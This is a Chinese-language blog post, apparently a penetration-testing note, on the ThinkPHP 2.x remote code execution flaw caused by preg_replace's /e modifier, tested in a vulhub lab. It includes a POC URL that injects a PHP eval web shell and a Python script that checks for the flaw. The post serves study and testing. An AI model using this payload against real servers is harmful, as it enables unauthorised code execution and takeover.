漏洞利用-ThinkPHP2.X 任意代码执行
本文最后更新于 419 天前,其中的信息可能已经有所发展或是发生改变。

:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::

ThinkPHP2.X 任意代码执行漏洞

📚测试环境

vulhub 靶场 thinkphp 2.x rce 环境。

使用 docker-compose 开启环境

image.png

访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5
image.png

📚漏洞原理

preg_replace 中使用 /e 来匹配路由,导致用户输入的参数中被插入双引号,造成任意代码执行;

📚POC 示例

/?s=/index/index/xxx/${@print(eval($_POST[cmd]))}
漏洞测试:

image.png

📚preg_replace 函数简介:

📌作用:它是 PHP 中的函数,用来执行一个正则表达式的搜索和替换。
📌语法:preg_replace ( $pattern, $replacement, $subject)
📌参数:

  • pattern: 正则匹配
  • repalcement: 要替换字符串
  • subject:目标字符

    ⚠️问题源码

    ThinkPHP2.X – Dispather.php

    // 解析剩余的 URL 参数
    $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr, $paths));

    漏洞利用

    V1.0

    
    '''
    ThinkPHP 2.X RCE 

📚漏洞原理
preg_replace 中使用 /e 来匹配路由,导致用户输入的参数中被插入双引号,造成任意代码执行;

📚POC 示例
/?s=/index/index/xxx/${@print(eval($_POST[cmd]))}

📚preg_replace 函数简介:
📌作用:它是 PHP 中的函数,用来执行一个正则表达式的搜索和替换。
📌语法:preg_replace ( $pattern, $replacement, $subject)
📌参数:
● pattern: 正则匹配
● repalcement: 要替换字符串
● subject:目标字符
'''

import requests
from urllib.parse import urljoin

def thinkphp2x_rce(url):
payload = '?s=/a/b/c/${var_dump(md5(123456))}'
url = urljoin(url, payload)
response = requests.get(url)
if 'e10adc3949ba59abbe56e057f20f883e' in response.text:
print('[+] The vulnerability exists')
else:
print('[-] The vulnerability not exists')

if name == 'main':
url = 'http://192.168.225.135:8080/'
thinkphp2x_rce(url)

学海无涯,回头是岸。 --- hola
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇